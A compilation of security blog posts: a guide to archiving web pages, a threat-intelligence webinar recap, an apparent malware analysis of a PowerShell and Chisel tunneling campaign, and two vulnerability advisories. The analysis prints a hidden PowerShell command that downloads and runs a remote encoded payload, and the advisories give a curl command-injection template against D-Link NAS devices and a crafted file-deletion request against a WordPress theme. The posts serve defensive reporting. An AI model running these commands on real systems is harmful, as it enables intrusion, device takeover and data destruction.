How to save web pages permanently or find content from deleted sites | Kaspersky official blog

Contrary to the popular belief that anything online stays online, the internet doesn’t remember everything. In a previous post in this series, we examined no fewer than nine scenarios in which you could lose access to online content. We also provided a detailed guide to what information you absolutely must (and preferably quickly) back up to your computer and how to do it. Today, we’ll discuss how to easily save web pages to your computer, how to organize these archives, and what to do if your favorite site has gone AWOL.

Let’s say you want to save a blog post with a recipe, compile a bibliography for your research paper, or even preserve a specific online publication for legal purposes. All of the above are published as web pages — which have a tendency to disappear at the wrong moment. Want to reminisce about music news and gossip from 2005? Good luck with that — the MTV News site shut down and all its articles and interviews are no longer available. Check references in Wikipedia articles? 11% of them lead nowhere, even though they were working when the article was published. This phenomenon of “link rot” — the gradual deletion or relocation of online content — is rapidly becoming a major problem. 38% of pages that existed ten years ago are no longer accessible today. So, if there’s a web page out there that you like or need, the wise move would be to create a backup.

How to save a web page to your computer

Since a web page consists of dozens or even hundreds of files, backing it up will require a bit of effort. Here are the main ways to do it:

Save only the text as an HTML file. Select the “Save page as…” menu command or button in your browser and then select “Webpage, HTML Only”. This will only save the text of the web page, without any graphics or other eye candy.

Save text and images. The “Webpage, Complete” option will create, besides an HTML file, a folder with the same name containing all graphic elements, styles, and scripts from the page. A downside of this option is that saving a lot of auxiliary files clutters your drive. The “Webpage, Single File” option is more convenient, bundling the web page and all its resources into a single .mhtml file. This will open freely in Chrome or Edge, but other browsers may have issues. This option is not available in all browsers, but if you install the SingleFile extension (available for most browsers), you can save the entire web page and its media content as a single HTML file that opens perfectly fine in all modern browsers.

Print to PDF. To preserve the main content of the page, but scrap menus and banners, your best option is Print to PDF. The resulting file will open on any computer.

With any of these options, make sure that the main text that you actually want to keep is still readable when you open the document.

An easier way to save a web page

The methods described above are a bit time-consuming and create clutter on your hard drive. For greater convenience, use a dedicated service such as Pocket (formerly Read It Later), wallabag, or Raindrop.io. They all work the same way: you send a link from which the service retrieves a document with all the illustrations, cleans the page of anything unnecessary, and saves it in your personal online storage. Even if the original page gets deleted or modified, the version you want will remain in your archive. These services allow you to group and sort your links, search for text inside, and view your saved pages on any device. For desktop, there’s an extension available for all the major browsers; and for mobile, there’s an app.

All these services offer an “eternal” archive only with a premium subscription, meaning you’ll have to pay for the convenience. That said, Wallabag is open-source — you can install it on your own server and not pay for third-party services or worry about the service getting shut down.

Some note-taking apps can also save complete web pages. These include Evernote, where the feature is called “Web Clipper”.

How to save a web page for others

If it’s not just a copy for yourself that you need, but to share a certain version of the page with others, you’ll need a public-archiving service.

The best-known is the Internet Archive (archive.org) and its Wayback Machine. Other options include archive.today (aka archive.is), perma.cc, and megalodon.jp. They all work on a similar principle: either at the user’s request or automatically they visit web pages and save a copy on their servers.

To request archiving of a web page, go to web.archive.org and enter the full address in the Save Page Now box. After you click Save, a window appears describing all of the page’s loaded components, followed by a permanent link to the site in its preserved state. It looks like this: https://web.archive.org/web/20240924045754/https://www.kaspersky.com/blog. The link shows both the address of the saved page and the exact time of saving — perfect for archival purposes.

Registering on archive.org lets you manage a collection of such links, take screenshots of saved sites, and download copies of them in the special web-archiving format.

On archive.org, you can view previously saved versions of websites and save the current state of any site — for example, our blog

On archive.org, you can view previously saved versions of websites and save the current state of any site — for example, our blog

On opening the archive link, you’ll see the saved page with a timestamp indicating when the snapshot was taken. This feature is useful for tracking and demonstrating changes in website data: price fluctuations, product description updates, edited news reports, and deleted information. The latter is particularly important for historical and cultural researchers based on defunct websites. Below, you can check out one of the first versions of GeoCities, a once popular web-hosting service that let you create “home pages”, express yourself, and find friends with shared interests long before social networks. It’s only thanks to the Wayback Machine that we can see it now — the site closed shop in 2016.

A gift for the old-timers: one of the earliest versions of GeoCities.com

A gift for the old-timers: one of the earliest versions of GeoCities.com

How to find deleted internet content or an old version of a website

To view an old version of any website:

  • Open archive.org.
  • Enter the full address of the website or a specific page in the box next to the logo and click Enter. If the exact URL is unknown, you can enter the name of the website or words that describe it well.
  • Select the desired website from the list. The results show at a glance how many copies are archived and for what period.
  • Use the calendar to select which of the saved copies of the site you wish to view. Dates for which there is a saved copy are circled — the larger the circle, the more copies were made that day.
  • Click the desired date and inspect the saved site. Note that loading a copy from the archive may take a few minutes.
  • The calendar graph above the site copy lets you navigate to older and newer copies.
How to explore old versions of sites at web.archive.org

How to explore old versions of sites at web.archive.org

You can copy the link to the retrieved copy from the address bar to access the archived site directly, bypassing the search interface.

What if archive.org can’t help

The foundation behind archive.org sometimes complies with the requests of copyright holders and other authorized parties to exclude certain sites from the Wayback Machine. Also, the service never aimed to preserve the entire internet, so it may happen that the page you need was never indexed. In such cases, try looking for it in other time capsules.

Archive.today (aka archive.is) doesn’t automatically save pages — it does so only at the request of users. Among other things, this does away with having to follow instructions for search robots (robots.txt), and means that the archive contains documents that aren’t available in the Wayback Machine.

Another important web-archiving project is perma.cc, created by a consortium of major world libraries. However, it’s only free for participating organizations. Individual users can subscribe to a paid plan, with pricing based on the number of archived links.

A powerful alternative to specialized archives is search engines’ cached content. To index any web page, search engines retrieve its text, so a crude but readable version of almost any page can be found there. For a long time, Google’s cache was the most accessible, but in early 2024, the search giant removed the direct link to its cache from search results. The service still works, but accessing it directly is very difficult.

Therefore, it’s better to use browser extensions that make internet archives easier to work with. For example, if a link takes you to a deleted page or a defunct website, the Web Archives extension redirects you straight to an archived copy of this page at web.archive.org, archive.today, or perma.cc, or shows a cached version of it from Google, Bing, or Yandex.

How to save data from other online services

Besides web pages, there are many other online services — from photo albums and notes to social networks — that hold data you also may want to save. Of course, recommendations vary for different types of data and specific services, but for your convenience, we’ve grouped all related instructions under the backup tag. You can read about creating backups for:

And don’t forget to safeguard your backups against ransomware and spyware!

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How to Improve Threat Investigations with TI Lookup: Webinar Recap 

On October 23, we hosted a webinar “How to Improve Threat Investigations with TI Lookup”. The session was led by Dmitry Marinov, CTO at ANY.RUN, who showed the audience effective methods for collecting the latest threat intelligence. 

Here is a quick rundown of the main topics and examples of investigations covered during the event. 

What is Threat Intelligence Lookup 

Threat Intelligence (TI) Lookup is a centralized service for threat data exploration, collection, and analysis. It contains fresh threat data extracted from public malware and phishing samples uploaded to ANY.RUN’s Interactive Sandbox over the past 180 days. Each search request you make returns results that provide expanded context related to the threat data in your query. 

Key features of TI Lookup include: 

  • Search results take just 5 seconds for events spanning the last six months. You can quickly get in-depth information about how events work, whether they are linked to a threat, and how they are related to that threat. 
  • With over 40 search parameters, TI Lookup provides examples and context from other investigations to help with decision-making. Unlike other solutions where you can work only with IOCs, Lookup can search among events and YARA rules, which is extremely helpful. 
  • TI Lookup has a large amount of data from the ANY.RUN sandbox, where cybersecurity analysts from around the world analyze threats. New samples are uploaded and analyzed daily, providing data that you cannot find in any other open sources. 

How TI Lookup Sources Data 

A core component of the suite is the Public submissions database. It is a vast repository that houses millions of unique malware and phishing samples submitted daily by a global community of over 500,000 security professionals from different spheres and industries using ANY.RUN. 

Every time a user runs a public analysis in the sandbox, the systems capture the key data from that analysis. This data is then immediately sent to Threat Intelligence Lookup. As a result, Threat Intelligence Lookup becomes a centralized hub where you can search through threat data extracted from millions of malware and phishing analysis sessions launched in the ANY.RUN sandbox. 

Collect threat intel on the latest malware and phishing campaigns with TI Lookup 



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How TI Lookup Works 

Let’s say we want to collect the latest domains used by threat actors that utilize Lumma, a notorious malware infostealer.  

To do this, we can submit the following search request: 

  • The first part of the query, threatName:”lumma”, instructs the search engine to find sandbox sessions where Lumma was detected. 
  • The second part of the query, domainName:””, tells the system to retrieve all domain names identified in those sandbox sessions. The empty field essentially acts as a wildcard, indicating that you are interested in all domain names associated with the threat. 

The service returns numerous domains that match our request. At the top, you can see domains with the malconf tag, which tells you that these domains were extracted directly from the configs of Lumma samples, the most reliable source of indicators of compromise. We can easily copy each indicator or download all of them in JSON format. 

As you can see, apart from domains, the service also provides a large number of other types of indicators, including events, files, URLs, and others. That’s one of TI Lookup’s unique advantages – the diversity of data it provides. 

Use Cases of TI Lookup 

To demonstrate how TI Lookup can be used in real-world investigations, Dmitry outlined several use cases where the service can be particularly useful. 

Checking a Suspicious IP Address 

One of the most straightforward use cases is identifying threats using a suspicious IP address. For example, if you receive an alert about a connection to a suspicious IP address (e.g., 162.254.34.31) coming from one of the machines on your network, TI Lookup can quickly check if this IP address has been used in other malware attacks. 

The service marks the queried IP address as malicious and offers extra context 

By entering the query destinationIP:”162.254.34.31″, the service identifies the IP address as malicious and links it to AgentTesla.  

TI Lookup provides a list of sandbox sessions where the IP address was detected 

It also provides related indicators, including processes, files, and most importantly, sandbox sessions where you can see the analysis of actual attacks and collect more data. 

Identifying a Malware Family Using a Mutex 

Another way to use TI Lookup is to identify a threat by using unique indicators such as mutexes. For instance, you can use mutexes to identify the Remcos malware

Synchronization events found in TI Lookup’s database with corresponding sandbox sessions 

By entering the query syncObjectName:”RMC-“, the service shows specific mutexes and provides a list of sandbox sessions to explore the threat further. 


ANY.RUN cloud interactive sandbox interface

Learn to Track Emerging Cyber Threats

Check out expert guide to collecting intelligence on emerging threats with TI Lookup



Uncovering a Threat Using a File Path 

You can also find threats using a file path.  

The service provides a list of files that match the query and events with the tag “darkvision” 

For example, a search for filePath:”\Start Menu\Programs\Startup\{*}.lnk” reveals that this file path has been observed in sessions featuring the DarkVision RAT.  

The service also returns Suricata IDS rules triggered in relation to the requested files’ activity 

This allows you to see the context and related sandbox sessions for further investigation. 

Connecting Unrelated Data Points 

One of the most powerful features of TI Lookup is its ability to connect pieces of data that may seem unrelated. Consider a scenario where you have a command line artifact and a network artifact.

The command line artifact might be commandLine:”timeout /t 5 & del”, which indicates a command that delays execution for 5 seconds and then deletes a file. The network artifact might be destinationIP:”185.215.113.37″, which represents an IP address that the system is communicating with. 

TI Lookup generates relevant results, offering instant threat context  

By combining these indicators into a single query, commandLine:”timeout /t 5 & del” AND destinationIP:”185.215.113.37″, you can zoom in on the threat you’re dealing with. 

Malicious IP addresses found by the service 

The service provides plenty of context and shows that the malware in question is StealC. Some of the additional indicators provided include malicious IPs and URLs, which were used in StealC attacks. 

You can always go back to the source by navigating to a sandbox session of your interest to observe the threat’s behavior, and even rerun the analysis using your own VM settings. 

Collecting Fresh Samples with YARA Rules 

Another handy feature of TI Lookup is YARA Search. Thanks to the built-in editor, you can create, edit, store, and use YARA rules to find samples that match them.  

The YARA rule search TI Lookup’s database for matching samples 

For example, using a YARA rule for AgentTesla, which is available by default in TI Lookup, the search returns numerous files that can be filtered by date. You can explore each result in detail by clicking on them and navigating to the sandbox session where it was detected.

You can also download a JSON file containing file hashes along with links to corresponding sandbox sessions. 

Conclusion 

The webinar gave a detailed look at TI Lookup, showing how it can help improve threat investigations. The tool’s ability to provide fast results, offer a wide range of search options, and give access to real samples and the latest data makes it very useful for cybersecurity professionals.

Stay tuned for more webinars from ANY.RUN by following us on social media like X, Facebook, and Discord. Subscribe to ANY.RUN’s YouTube channel for the upcoming release of a video recording of the webinar.

About ANY.RUN  

ANY.RUN helps more than 500,000 cybersecurity professionals worldwide. Our interactive sandbox simplifies malware analysis of threats that target both Windows and Linux systems. Our threat intelligence products, TI Lookup, YARA Search and Feeds, help you find IOCs or files to learn more about the threats and respond to incidents faster.  

With ANY.RUN you can: 

  • Detect malware in seconds
  • Interact with samples in real time
  • Save time and money on sandbox setup and maintenance
  • Record and study all aspects of malware behavior
  • Collaborate with your team 
  • Scale as you need

Request free trial of ANY.RUN’s products →

The post How to Improve Threat Investigations with TI Lookup: Webinar Recap  appeared first on ANY.RUN’s Cybersecurity Blog.

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Harnessing Chisel for Covert Operations: Dissecting a Multi-Stage PowerShell Campaign

Chisel, Malware

Key Takeaways

  • Cyble Research and Intelligence Lab (CRIL) has identified a sophisticated campaign employing PowerShell in a multi-stage infection process. 
  • The attack initiates with a suspicious LNK file, which activates a PowerShell script designed to download and execute malicious payloads. This layered strategy enhances stealth, evades detection, and ensures prolonged persistence within the target system. 
  • In the first stage, the LNK file runs an initial remote obfuscated PowerShell script that establishes persistence by deploying and executing a secondary PowerShell script and batch files. 
  • The second-stage PowerShell script continues communication with the command-and-control (C&C) server and executes a third-stage PowerShell script. 
  • The third and final stage PowerShell script sends requests for command chains and includes routines to execute received commands as directed by the C&C server. 
  • An analysis of the Network infrastructure reveals the presence of a Chisel DLL, suggesting the Threat Actor (TA) may leverage the Chisel client for further C&C communications and to enable lateral movement operations within the compromised network.
  • The TA also likely utilizes the Netskope proxy for command and control (C&C) communication with the Chisel server.

Executive Summary

CRIL has recently identified a campaign engaging in a multi-stage infection chain. This chain employs several techniques, starting with the execution of PowerShell scripts. The campaign begins with a malicious LNK file that triggers the execution of a first-stage remote PowerShell script. This script aims to establish persistence on the victim’s system by dropping and running a second-stage PowerShell script. The second-stage script maintains communication with the C&C server, allowing it to download and execute an additional third-stage PowerShell script.

The third-stage script continuously interacts with the C&C server to receive command chains. It executes these commands based on the instructions provided, enabling a variety of malicious activities, such as data exfiltration or lateral movement. The presence of a Chisel DLL on the remote server suggests that the TA may utilize Chisel for advanced operations, including setting up a SOCKS proxy and facilitating lateral movement within the infected network, further strengthening their foothold and enabling stealthy communications.

Technical details:

The infection chain begins when the user inadvertently executes a malicious LNK (shortcut) file. However, the initial infection vector of the LNK file remains unidentified. This LNK file is crafted to run a PowerShell command, which downloads another Base64 encoded PowerShell command from the remote server and then executes it.

The Powershell command uses techniques to bypass Windows security mechanisms, such as setting the PowerShell execution policy to “Bypass,” which allows the script to run without restrictions typically enforced by the system’s security settings. Additionally, the PowerShell window is executed in hidden mode, ensuring that the user does not see any visual indicators of the malicious activity. Following is the PowerShell command:

“C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -wind hid $x=wget -UseB -Ur ‘hxxps://c2.innov-eula[.]com/feibfiuzbdofinza’;powershell -wind hid -ep byp -e $x”

The figure below shows the property of the shortcut file.

Shortcut File
Figure 1  – Malicious Shortcut File

The figure below displays the Base64-encoded PowerShell script, highlighting the sophisticated methods used to conceal its true functionality.

Base64, Powershell
Figure 2  – Base64 Encoded PowerShell Script

This de-obfuscated PowerShell script is a sophisticated piece of code engineered to establish persistence and download a PowerShell script from the C&C server. It employs various obfuscation techniques to evade detection and execute its malicious activities stealthily. The figure below shows the de-obfuscated PowerShell script.

Obfuscation
Figure 3 – De-obfuscated Initial PowerShell Script

First Stage PowerShell Script

In the First Stage, the PowerShell Script performs the following tasks

  • Initially, the PowerShell script creates a Hidden directory at “C:UsersMalWorkstationAppDataRoamingMicrosoftLogs” and sets the variable “$HASH” with a seemingly random string, “bdhbzaibdiBKJBJIBDI67869686806656..”. While the exact purpose of this variable is unclear, it could be a placeholder for future use.
  • To ensure secure communications, the PowerShell script configures the security protocol to TLS 1.2
  • It then retrieves the system’s hostname with the “hostname” command and proceeds to obfuscate this information, converting it to a Base64-encoded string
  • This command attempts to retrieve the proxy settings for the specified URL, “hxxp://google.es/,” and constructs the authorization header, appending Base64-encoded hostname.
  • If a proxy is configured on the victim’s machine, it uses the proxy to send a request to “hxxps://c2.innov-eula.com/” with the constructed Authorization header. If no proxy is configured, it sends the same request directly without using a proxy.
  • The response from the request is stored in the $R variable, which contains a PowerShell script. This script is then saved in the “Logs” folder with the filename “Log_29109314.ps1.” and then executed subsequently.
  • The PowerShell script creates two batch files, “Log_29109317.bat” and “Log_29109318.bat,” in the Logs folder. The “Log_29109317.bat” file runs the “Log_29109314.ps1” script, while the “Log_29109318.bat” file moves “Log_29109317.bat” to the startup folder for persistence.

The figure below shows the content of the Logs Folder.

Logs, malware
Figure 4  – Contents of the Folder

Second Stage PowerShell Script

The second-stage PowerShell script operates similarly to the first one, establishing a connection to the C&C server using the proxies. Once connected, it retrieves the next stage of the attack, which is a PowerShell script encoded in Base64. The script then decodes and executes this Base64-encoded PowerShell script, continuing the attack chain. The figure below shows the contents of the second-stage PowerShell script.

Second Stage, Powershell
Figure 5 – De-obfuscated Second Stage PowerShell Script

Third Stage PowerShell Script

In the Third Stage, the PowerShell Script performs the following tasks

  • The PowerShell script initializes critical variables like “$CHAIN” and “$JITTER” to control its operation. The “$CHAIN” variable tracks the current status of the communication with the Command and Control (C&C) server, while “$JITTER” introduces random delays at various stages to avoid detection by security systems.
  • The script then retrieves and encodes the infected machine’s hostname in Base64 and uses it to construct a web request for the system’s proxy settings via “hxxp://google.es/”.
  • If “$CHAIN” is “0”, it prepares an Authorization header with the hostname and retrieves data from “hxxps://c2.innov-eula.com/”, using proxy settings if needed. The response is stored in “$CHAIN” to establish communication with the remote server.
  • Next, the PowerShell script checks if “$CHAIN” contains invalid characters. If it does, it resets “$CHAIN” to “0” and introduces a random delay. Otherwise, it prepares an Authorization header with “$CHAIN” and hostname and sends a request to “hxxps://c2.innov-eula.com/”.
  • The server’s response is split and stored in “$CMD”. If the command is not “WAIT,” it executes a PowerShell command encoded in “$CMD[1]”. The response is then processed and split into chunks, which are sent back to the server in multiple requests.
  • The process continues, handling each chunk until the “END” command is received. The PowerShell script is shown below.

The figure below shows the de-obfuscated third-stage PowerShell script.

Third Stage, Powershell
Figure 6 – De-obfuscated Third Stage PowerShell Script

Open Directory

At the time of execution, we were not able to observe any commands from the C&C server. However, after checking for the network infrastructure, we came across an open directory, “hxxps:/credit-agricole.webdev.innov-eula[.]com”, hosting the malicious LNK file along with other files as shown in the figure below.

Open Directory
Figure 7 – Open Directory

Chisel

The open directory contains a suspicious file named chisolo.dll, which is identified as Chisel—a fast TCP/UDP tunneling tool written in Go. Chisel operates over HTTP and is secured via SSH. It uses a single executable for both the client and server, making it particularly effective for bypassing firewalls.

 Chisel has been widely adopted by various threat actors as a powerful tunneling tool, enabling them to pivot into compromised environments with stealth and efficiency. Notable groups such as Sandworm APT, Lorenz Ransomware, and Pysa Ransomware have leveraged Chisel in their campaigns to facilitate lateral movement and maintain persistence.

The Threat Actor can leverage the Chisel tool for various malicious purposes.

Scanning the Internal Network

After compromising the system using the previously mentioned infection, the TA deploys and executes the Chisel client on the compromised machine. This allows the TA to use the infected machine as a SOCKS proxy, enabling them to scan the internal network with tools like Nmap.

Accessing Protected Internal Networks

Once the internal networks are identified, the TA can use the compromised machine to create a tunnel using the Chisel client. This tunnel provides access to networks that are otherwise shielded from external connections, allowing the TA to infiltrate internal systems not exposed to the outside.

Enabling External Connections for Isolated Machines

The TA can also leverage the Chisel client to enable internet access for machines that are otherwise unable to connect. This allows the TA to download additional malicious samples for further exploitation and maintain persistence within the network.

The chisel client sample identified in this campaign has three export functions, as shown below.

Chisel, Client Export
Figure 8 – Chisel Client Export Functions

The export functions main and xlAutoOpen have code to start the Chisel client on the infected machine, as shown below.

Chisel. Routine
Figure 9 – Routine to Start Chisel Client

Interestingly, the Threat Actor (TA) is using the IP address 163.116.128[.]80 over port 8080, associated with Netskope, as an explicit proxy. By routing their traffic through this Netskope proxy, we suspect that the TA is likely using this to obfuscate their communications with the C&C server – hxxps://ligolo.innov-eula[.]com.

This approach allows them to bypass traditional network defenses and evade detection, making it difficult for security teams to identify and block malicious C&C traffic. The figure below shows a code snippet used by the Chisel client containing a proxy IP address and C&C URL.

Chisel, C&C
Figure 10 – Chisel Client C&C Routine

Although direct commands from the C&C server were not observed, the TA likely uses the C&C to issue commands to download and execute the Chisel client on the compromised machine. Once the Chisel tunnel is established between the C&C server and the victim’s machine, this tunnel enables the TA to control the compromised system more effectively. Through this channel, the TA can send specific commands to identify the internal network, move laterally across connected systems, and download additional malicious payloads. These actions enhance the TA’s control and facilitate further malicious activities within the internal environment. The setup effectively provides the TA with a hidden and flexible pathway into internal systems that would otherwise be isolated from external access.

Threat hunting Packages

Our exclusive threat-hunting packages, which include YARA and Sigma rules specifically designed to detect campaigns involving the Chisel tool and related malicious activities.

Additionally, our threat-hunting packages empower organizations to proactively identify and mitigate cyber threats, enabling them to stay ahead of cybercriminals. These packages help detect potential risks and malicious activities before they can cause harm, ensuring a stronger defense against evolving cyber threats.

We have over 15,000 threat-hunting packages and growing. To learn more about how you can gain access to our latest actionable threat intel, click here.

Conclusion

This sophisticated multi-stage PowerShell campaign uses an LNK file to activate a sequence of obfuscated scripts, which maintain persistence and ensure stealth by connecting with a command-and-control (C&C) server. The attack involves Chisel and a Netskope proxy for covert communication, enabling lateral movement within the network. This setup reflects advanced threat actor tactics aimed at prolonged control and evasion, suggesting a highly organized or financially motivated campaign.

Recommendations

  • Deploy endpoint detection and response (EDR) solutions that can identify and stop unusual PowerShell activity. Ensure that all endpoints are configured to log PowerShell command executions and unusual file behaviors, such as LNK file executions from non-standard locations.
  • Limit access to PowerShell and other scripting tools based on user roles. Where possible, apply “constrained language mode” to restrict the types of commands that can be executed.
  • Monitor network traffic for unusual connections, particularly those using uncommon ports or protocols (such as Chisel’s tunneling). Network segmentation can limit lateral movement, restricting an attacker’s access even if they compromise one segment.
  • Train users to recognize and avoid suspicious links or files, particularly those delivered via email or other messaging platforms. Regular phishing simulations and awareness training can help prevent the initial compromise.
  • Implement MFA on all sensitive systems. It can help prevent unauthorized access, even if credentials are compromised. This is especially important for privileged accounts that can execute PowerShell or access sensitive segments of the network.
  • Integrate threat intelligence feeds that include indicators of compromise (IOCs) related to C&C servers, known malicious IP addresses, and techniques like Chisel tunneling. This intelligence can aid in detecting and blocking attacks that match these patterns.

MITRE ATT&CK® Techniques

Tactic Technique ID Procedure
Initial Access (TA0027) Phishing (T1660) The campaign starts with a suspicious LNK file that executes a PowerShell script. The script downloads and runs malicious payloads from the C2 server.
Execution (TA0041) Command and Scripting Interpreter: PowerShell (T1059.001) The PowerShell script executes and downloads additional malicious payloads from a remote server.
Persistence (TA0028) Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder  (T1547.001)   Batch file is dropped in the startup folder.
Defense Evasion (TA0030) Obfuscated Files or Information (T1027) Use of obfuscated PowerShell scripts and tunneling tools to hide activity from traditional security mechanisms.
Command and Control (TA0037) Application Layer Protocol: Web Protocols (HTTP/S) (T1071.001) Chisel is used to create a tunnel to the C2 server, allowing further control over the infected system.

Indicators of Compromise (IOCs)

Indicators Indicator Type Description
6c7636e21311a2c5ab024599060d468e03d8975096c0eb923048ad89f372469e SHA256 LNK File
8e812bb7fde8c451d2a5efc1a303f2512804f87f041b1afe2d20046d36e64830 SHA256 Log_29109314.ps1
319beca16c766f5b9f8cc4ba25f0b99f1b4769d119eb74dfd694d3f49a23a5b9 SHA256 Log_29109318.bat
0169283f9df2d7ba84516b3cce50d93dbb6445cc6b2201459fa8a2bc3e319ea3 SHA256 Log_29109317.bat
6332d328a6ddaa8f0c1b3353ee044df18e7867d80a0558823480bd17c14a24bc SHA256 Chisel DLL
hxxps://ligolo.innov-eula[.]com Domain C&C
hxxps://c2.innov-eula[.]com Domain C&C
hxxps://c2.innov-eula[.]com/feibfiuzbdofinza URL C&C
hxxps://credit-agricole.webdav[.]innov-eula.com/ URL Open Directory

The post Harnessing Chisel for Covert Operations: Dissecting a Multi-Stage PowerShell Campaign appeared first on Cyble.

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No Fix for Critical Command Injection Vulnerability in Legacy D-Link NAS Devices  

Vulnerability

Overview 

A recently identified command injection vulnerability in D-Link network-attached storage (NAS) devices exposes over 61,000 internet-connected units to potential exploitation.  

The flaw, tracked as CVE-2024-10914, allows unauthenticated attackers to inject arbitrary commands by exploiting the name parameter in the cgi_user_add command. 

The vulnerability affects legacy D-Link NAS devices, primarily used by small businesses, and holds a critical CVSS score of 9.2, calling for an immediate need for mitigation. 

This vulnerability is especially concerning as D-Link has classified these devices as end-of-life (EOL) and end-of-service (EOS), meaning they will no longer receive security updates or patches. D-Link has recommended that users retire affected devices or, at minimum, isolate them from public internet access. 

Affected Devices and Vulnerability Scope 

The CVE-2024-10914 command injection vulnerability impacts several D-Link NAS models that are no longer supported. The affected devices include: 

  • DNS-320 – Version 1.00 
  • DNS-320LW – Version 1.01.0914.2012 
  • DNS-325 – Versions 1.01, 1.02 
  • DNS-340L – Version 1.08 

The vulnerability lies in the account_mgr.cgi script, specifically when processing the name parameter within the cgi_user_add command. Due to insufficient input sanitization, attackers can manipulate this parameter to execute arbitrary shell commands, potentially compromising all data on the device.  

According to a scan conducted on the FOFA platform by security researcher NetSecFish, more than 61,000 vulnerable devices are accessible from unique IP addresses globally, showcasing the extensive risk this flaw poses to users. 

Exploitation Details 

Exploiting CVE-2024-10914 requires minimal technical knowledge. Attackers can craft a simple HTTP GET request to the vulnerable device’s IP address, embedding malicious commands within the name parameter, as shown below: 

curl “http://[Target-IP]/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;<INJECTED_SHELL_COMMAND>;%27” 

The above command triggers the cgi_user_add function, injecting the shell command specified by the attacker, effectively granting unauthorized control over the device. This vulnerability (CWE-77) poses a severe risk, as command injection attacks can lead to complete device takeover, unauthorized access to stored data, and the potential for lateral movement within a network. 

D-Link’s Response and Recommendations 

D-Link released an advisory acknowledging the vulnerability and confirming that affected devices have reached end-of-life (EOL) status. As a result, they no longer receive firmware updates or security patches, meaning that no official fix will be provided.  

“If a product has reached the End of Support (“EOS”) or End of Life (“EOL”), it typically does not receive further extended support or development. Typically, D-Link cannot resolve device or firmware issues for these products since all development and customer support have ceased,” the company said. 

D-Link advises users to replace these NAS devices with more secure and supported models to mitigate the risk of exploitation. 

For users who cannot immediately retire these devices, D-Link has issued the following recommendations: 

  1. Isolate Vulnerable NAS Devices: Disconnect the affected NAS devices from the public internet to prevent external exploitation. 
  2. Restrict Access: Limit access to the device by configuring firewall rules or network access controls that restrict traffic to trusted internal networks only. 
  3. Update Access Credentials: Frequently update and strengthen device passwords to mitigate potential unauthorized access and ensure encryption is enabled for wireless connections. 
  4. Consider Third-Party Firmware: For advanced users, third-party firmware may provide additional security updates, though it voids any remaining warranty and is unsupported by D-Link. 

        Security Implications and Best Practices 

        With over 61,000 potentially exposed devices and no available patch, this vulnerability has significant implications. Organizations using these NAS devices to store or transfer sensitive information are advised to take immediate action to mitigate potential breaches

        Beyond D-Link’s recommendations, organizations can adopt additional best practices to minimize their exposure to this risk: 

        • Network Segmentation: Place vulnerable devices in segmented network zones to prevent attackers from moving laterally if they gain initial access. 
        • Regular Vulnerability Scanning: Implement frequent scanning to identify exposed or vulnerable devices within the network. 
        • Monitor Network Traffic: Set up network monitoring to detect unusual traffic patterns or access attempts, which could indicate exploitation. 
        • Cybersecurity Awareness: Inform employees and network administrators about this vulnerability to reinforce secure practices for managing NAS devices. 

        Conclusion 

        CVE-2024-10914 represents a critical risk to D-Link NAS device users, particularly as these devices will not receive security patches due to their EOL/EOS status. Immediate action is necessary to mitigate this risk, either by retiring affected devices or by enforcing strict access controls. For businesses and individuals relying on these legacy devices, upgrading to secure, supported hardware is the most effective solution to maintain data integrity and safeguard against potential threats. 

        References: 

        https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10413
        https://netsecfish.notion.site/Command-Injection-Vulnerability-in-name-parameter-for-D-Link-NAS-12d6b683e67c80c49ffcc9214c239a07

        The post No Fix for Critical Command Injection Vulnerability in Legacy D-Link NAS Devices   appeared first on Cyble.

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        Path Traversal Vulnerability in WPLMS WordPress Theme Exposes Websites to RCE 

        Vulnerability

        Overview 

        A critical path traversal vulnerability, CVE-2024-10470, has been identified in the WPLMS Learning Management System (LMS) theme for WordPress. This vulnerability enables unauthenticated attackers to read and delete arbitrary files on the server due to insufficient file path validation in the theme’s readfile and unlink functions.  

        The flaw affects all versions of WordPress up to and including 4.962 and carries a CVSS score of 9.8. 

        According to the bug description published on GitHub under the account moniker RandomRobbieBF, the flaw impacts WordPress sites running WPLMS even if the theme is not actively enabled. This likely puts thousands of LMS-driven websites at risk of unauthorized data access, site disruption, and potential full system compromise. 

        The CVE-2024-10740’s original finding is attributed to an independent researcher Friderika Baranyai, aka Foxyyy. 

        Vulnerability Details 

        • CVE: CVE-2024-10470 
        • Type: Path Traversal (CWE-22) 
        • Affected Theme: WPLMS Learning Management System for WordPress 
        • Affected Versions: <= 4.962 
        • Severity: Critical (CVSS 9.8) 
        • Impact: Confidentiality, Integrity, Availability 
        • Found By: Friderika Baranyai, aka Foxyyy 

        Exploitation Details 

        This vulnerability allows attackers to delete critical files, such as wp-config.php, without needing authentication. Deleting this file, which contains essential WordPress configuration settings, could enable attackers to gain remote control over the affected server, leading to potential code execution and full site compromise. 

        While there is no publicly available proof-of-concept (PoC) or evidence of active exploitation, the nature of this vulnerability means that attackers could send crafted requests to delete or read files arbitrarily.  

        For example, the download_export_zip parameter within certain WPLMS theme scripts can be exploited to read or delete sensitive server files, leading to significant security risks for affected WordPress installations. 

        A sample crafted request, as described on GitHub, which could exploit this vulnerability is as follows: 

        POST /wp-content/themes/wplms/setup/installer/envato-setup-export.php HTTP/1.1 

        Host: [Target-IP] 

        Content-Type: application/x-www-form-urlencoded 

        Content-Length: 29 

        download_export_zip=1&zip_file=.htaccess 

        This request manipulates the zip_file parameter to target and potentially delete files like .htaccess, which could lead to server misconfiguration or unauthorized file access. 

        Mitigation and Recommendations 

        Website administrators are advised to take the following actions to address this bug: 

        1. Deactivate and Remove the WPLMS Theme: If possible, temporarily deactivate the WPLMS theme until a patch is available. Remove it if it’s not essential to your website’s functionality. 
        2. Apply Strong Access Controls: Restrict access to critical files, such as wp-config.php, and ensure that file permissions are strictly enforced to prevent unauthorized deletion or modification. 
        3. Implement File Integrity Monitoring: Regularly monitor the integrity of critical WordPress files. Immediate alerts on file deletion or modifications can provide timely warnings of potential exploitation. 
        4. Back Up WordPress Installations Regularly: Maintain regular backups of your website’s files and database to ensure rapid recovery in the event of an attack. 
        5. Web Application Firewall (WAF): Use a WAF to filter potentially malicious requests. This can help prevent attackers from exploiting path traversal vulnerabilities. 
        6. Monitor for Updates: Regularly check for updates from the WPLMS theme developer and apply any available patches as soon as they are released. The vulnerability is resolved in version 4.963, so updating to this version will eliminate the risk. 
